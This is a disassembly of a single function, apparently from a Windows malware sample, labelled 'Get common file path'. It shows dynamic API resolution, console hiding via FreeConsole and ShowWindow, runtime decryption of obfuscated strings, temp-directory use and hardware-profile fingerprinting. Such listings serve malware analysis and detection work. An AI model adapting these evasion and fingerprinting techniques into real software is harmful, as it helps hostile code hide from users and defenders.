Function at 0x43caf5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x68c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x490]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebp, str.LoadLibraryA
lea ecx, [esp + 0x14]
push ebp
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
mov dword [esp + 0x2c], 0xb5fa8efa
mov eax, dword fs:[0x2c]
mov dword [esp + 0x30], 0x6d4f7594
mov word [esp + 0x34], 0x91e3
mov byte [esp + 0x36], 0x9f
mov ebx, dword [eax]
mov eax, dword [ebx + 0x280]
lea esi, [ebx + 0x250]
test al, 1
jne 0x43cb9d
xorps xmm0, xmm0
mov byte [esi + 0xb], 1
movlpd qword [esp + 0x38], xmm0
or eax, 1
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov dword [ebx + 0x280], eax
mov al, byte [esp + ecx + 0x2c]
mov byte [ecx + esi], al
add ecx, 1
adc edx, 0
jne 0x43cb92
cmp ecx, 0xb
jb 0x43cb7e
push 0x48da3f
call fcn.004699af
pop ecx
cmp byte [esi + 0xb], 0
je 0x43cbbf
push 0x96147a7
push 0xc79ffd8f
push 0
push 0xb
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xb], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
call fcn.00450b6b
test al, al
jne 0x43d3ba
push str.FreeConsole
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
call eax
lea ecx, [esp + 0x14]
call fcn.00403a68
push str.ShowWindow
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call esi
lea ecx, [esp + 0x14]
call fcn.00403a68
push 0x498338
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
lea ecx, [esp + 0x288]
push ecx
push 0x104
call eax
lea ecx, [esp + 0x14]
call fcn.00403a68
push str.SetCurrentDirectoryW
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
lea ecx, [esp + 0x288]
push ecx
call eax
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d41b
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x43ccbe
push 0xc7333373
push 0x97a9fd11
push 0
push 0xd
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d492
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x43cd08
push 0xd9ab0bb7
push 0x6f39d5cb
push 0
push 0xd
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d509
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x43cd52
push 0x3195b397
push 0x7583e555
push 0
push 0xa
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d57b
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x43cd9c
push 0xc9d71b01
push 0xef577b0f
push 0
push 0xc
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xc], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d5ee
mov esi, eax
cmp byte [esi + 0xb], 0
je 0x43cde6
push 0x8737ed3f
push 0xad797139
push 0
push 0xb
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xb], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d664
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x43ce30
push 0x158d013b
push 0xb777d33f
push 0
push 0xc
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xc], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d6d7
mov esi, eax
cmp byte [esi + 0xb], 0
je 0x43ce7a
push 0x4bdb49ff
push 0x71a39d83
push 0
push 0xb
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xb], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d74d
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x43cec4
push 0xfffb99ad
push 0x417d03c7
push 0
push 0xc
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xc], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d7c0
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x43cf0e
push 0x8b09dd57
push 0x39d37789
push 0
push 0xd
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
push ebp
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
mov edi, eax
call fcn.0043d837
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x43cf58
push 0xe9698b01
push 0xfda717b7
push 0
push 0xa
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
call edi
lea ecx, [esp + 0x14]
call fcn.00403a68
sub esp, 0x18
lea ecx, [esp + 0x2c]
mov esi, esp
push 0x12
pop edx
call fcn.00445593
mov ebp, 0x498360
mov ecx, esi
push eax
mov edx, ebp
call fcn.0043e0dd
sub esp, 0x14
mov edi, esp
sub esp, 0x18
mov ecx, esp
push str.1e20809a55ae01c9fb8d286eb69ace12
call fcn.00405036
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.WRFGQAIfFlQbAVNLBgdNDVxRCFQC
call fcn.00405036
mov ecx, esi
call fcn.004457fb
add esp, 0x18
mov ecx, edi
call fcn.00445602
add esp, 0x30
lea ecx, [esp + 0xd0]
call fcn.0044e3ef
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00403a1a
sub esp, 0x18
mov ecx, esp
push ebp
call fcn.00403905
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov ecx, esp
push str.1e20809a55ae01c9fb8d286eb69ace12
call fcn.00405036
sub esp, 0x18
mov ebp, str.WRFGQAIfFlQbAVNLBgdNDVxRCFQC
mov esi, esp
sub esp, 0x18
mov ecx, esp
push ebp
call fcn.00405036
mov ecx, esi
call fcn.004457fb
add esp, 0x18
mov ecx, edi
call fcn.00445602
add esp, 0x30
lea ecx, [esp + 0xb8]
call fcn.0044e3ef
add esp, 0x18
lea eax, [esp + 0xa0]
mov ecx, esp
push eax
call fcn.00403942
lea ecx, [esp + 0xd0]
call fcn.004476ae
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov ecx, esp
push str.1e20809a55ae01c9fb8d286eb69ace12
call fcn.00405036
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push ebp
call fcn.00405036
mov ecx, esi
call fcn.004457fb
add esp, 0x18
mov ecx, edi
call fcn.00445602
add esp, 0x18
lea eax, [esp + 0xd0]
mov ecx, esp
push eax
call fcn.00403942
sub esp, 0x18
lea eax, [esp + 0x2d0]
mov ecx, esp
push eax
call fcn.00403905
sub esp, 0x60
lea eax, [esp + 0x160]
mov ecx, esp
push eax
call fcn.0040591c
lea ecx, [esp + 0x1c0]
call fcn.0040575f
push str.GetCurrentHwProfileA
lea ecx, [esp + 0x18]
call fcn.00405036
lea ecx, [esp + 0x14]
call fcn.0043e099
lea ecx, [esp + 0x208]
push ecx
call eax
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.00403a68
test esi, esi
je 0x43d175
lea eax, [esp + 0x20c]
push eax
lea ecx, [esp + 0x18]
call fcn.00405036
call fcn.0043d8a9
mov esi, eax
mov edi, 0x19858701
mov ebp, 0xfdc7dd5d
cmp byte [esi + 0xa], 0
je 0x43d131
push edi
push ebp
push 0
push 5
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
lea ecx, [esp + 0x44]
call fcn.00403905
mov eax, dword [ebx + 0x204]
push 0x5d
pop ecx
test al, 1
jne 0x43d16a
or eax, 1
mov byte [ebx + 0x2b6], 1
push 0x48d926
mov dword [ebx + 0x204], eax
mov word [ebx + 0x2b4], cx
call fcn.004699af
pop ecx
lea esi, [ebx + 0x2b4]
jmp 0x43d212
call fcn.0043d926
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x43d19e
push 0x730b3bab
push 0x371721bf
push 0
push 0xd
mov ecx, esi
call fcn.0043d3c7
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
lea ecx, [esp + 0x18]
call fcn.00405036
call fcn.0043d99d
mov esi, eax
mov edi, 0xb377b93f
mov ebp, 0x9507a341
cmp byte [esi + 0xa], 0
je 0x43d1d3
push edi
push ebp
push 0
push 5
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
lea ecx, [esp + 0x44]
call fcn.00403905
mov eax, dword [ebx + 0x29c]
push 0x41
pop ecx
test al, 1
jne 0x43d20c
or eax, 1
mov byte [ebx + 0x2a2], 1
push 0x48d8b8
mov dword [ebx + 0x29c], eax
mov word [ebx + 0x2a0], cx
call fcn.004699af
pop ecx
lea esi, [ebx + 0x2a0]
cmp byte [esi + 2], 0
je 0x43d22c
push edi
push ebp
push 0
push 1
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 2], 0
push esi
lea ecx, [esp + 0x5c]
call fcn.00403905
mov ebp, 0x4a0d38
lea ecx, [esp + 0x70]
push ebp
call fcn.00403942
cmp dword [esp + 0x28], 0xf
lea edi, [esp + 0x14]
mov esi, dword [esp + 0x24]
lea eax, [esp + 0x40]
cmova edi, dword [esp + 0x14]
sub esp, 0x48
mov ecx, esp
push eax
call fcn.0040342c
push esi
push edi
lea ecx, [esp + 0x1f8]
call fcn.0044ebfa
lea ecx, [esp + 0x40]
call fcn.00403411
lea ecx, [esp + 0x14]
call fcn.00403a68
lea ecx, [esp + 0x118]
call fcn.0043e36d
lea ecx, [esp + 0x118]
call fcn.0043e471
call fcn.0043da8b
mov esi, eax
mov edi, 0xe50b8337
cmp byte [esi + 8], 0
je 0x43d2c8
push edi
push 0xfcb95ed
push 0
push 4
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 8], 0
push esi
lea ecx, [esp + 0x44]
call fcn.00403905
mov eax, dword [ebx + 0x2a4]
mov ecx, 0xed
test al, 1
jne 0x43d303
or eax, 1
mov byte [ebx + 0x25e], 1
push 0x48d81d
mov dword [ebx + 0x2a4], eax
mov word [ebx + 0x25c], cx
call fcn.004699af
pop ecx
lea esi, [ebx + 0x25c]
cmp byte [esi + 2], 0
je 0x43d327
push edi
push 0xfcb95ed
push 0
push 1
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 2], 0
push esi
lea ecx, [esp + 0x5c]
call fcn.00403905
push ebp
lea ecx, [esp + 0x74]
call fcn.00403942
call fcn.0043da24
mov esi, eax
cmp byte [esi + 4], 0
je 0x43d360
push edi
push 0xfcb95ed
push 0
push 2
mov ecx, esi
call fcn.00403088
add esp, 0x10
mov byte [esi + 4], 0
sub esp, 0x48
lea eax, [esp + 0x88]
mov ecx, esp
push eax
call fcn.0040342c
push 1
push esi
lea ecx, [esp + 0x1f8]
call fcn.0044ebfa
lea ecx, [esp + 0x40]
call fcn.00403411
lea ecx, [esp + 0x118]
call fcn.0043db02
lea ecx, [esp + 0xb8]
call fcn.004058d9
lea ecx, [esp + 0x88]
call fcn.00403a1a
lea ecx, [esp + 0xa0]
call fcn.00403a1a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x68c
ret